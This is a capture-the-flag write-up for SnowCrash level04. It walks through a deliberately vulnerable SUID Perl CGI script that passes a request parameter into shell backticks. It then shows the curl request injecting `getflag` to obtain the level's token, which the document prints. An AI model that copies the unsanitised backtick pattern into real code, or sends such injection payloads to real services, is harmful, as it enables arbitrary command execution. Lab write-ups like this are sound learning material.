Level04

A Perl script named `level04.pl` with **SUID** bit set is present in the home directory. The owner is `flag04`.

```
#!/usr/bin/perl
# localhost:4747
use CGI qw{param};
print "Content-type: text/html\n\n";
sub x {
  $y = $_[0];
  print `echo $y 2>&1`;
}
x(param("x"));
```

After inspecting the file and documenting basics on **Perl** language we can guess that it has to do with **CGI**.

Note: **CGI**, short for **common gateway interface** lets us pass data to an external program such as PHP, Python, Perl trough a web server. The response is then transmitted back trough the webserver.

Who say **CGI**, say **request**...

The script consist's of:

- A comment with a **host:port** `localhost:4747`.
- A function definition `sub x` that takes a parameter, stores it in `$y` variable and prints the result of `` `echo $y 2>&1` ``. Note that the command is **surrounded in backquotes**.
- A call to `sub x` function taking a parameter named `x` wich is passed trough **CGI**.

Making a `POST` request to `localhost:4747` with `x=10` as body proves us that the script is executed trough **CGI**. Our value `10` is present in the response's body.

```
level04@SnowCrash:~$ curl -X POST -d 'x=10' http://localhost:4747
10
```

Note: A `GET` request is also a valid approach since **Perl's CGI module** handles both `POST` and `GET` variables. When using the `param()` method, `POST` takes precedence over `GET`. For example, if `x` is present in the **URL** as a **query parameter** and `x` is also passed in the request's body, the one in the body will be returned by `param()`. In this case, you can access the `x` passed trough query parameters with the `url_param('x')` method.

Now, trying to **escape the backquotes** in the function to inject an arbitrary command is probably a good idea. Maybe inserting `getflag` as follows `` `getflag` ``?

While parsing, the first pair of quotes encountered `` `echo ` `` will be evaluated to `\n` wich is swapped out in command substitution, then the `` ` 2>/dev/null` `` command will be evaluated and expanded to nothing. Lastly, the whole resulting command is evaluated.

At the start, the command would look like this: `` `echo `getflag` 2>/dev/null` ``
And it would expand to: `getflag`

```
level04@SnowCrash:~$ curl -X POST -d 'x=`getflag`' http://localhost:4747
Check flag.Here is your token : ne2searoevaevoem4ov4ar8ap
```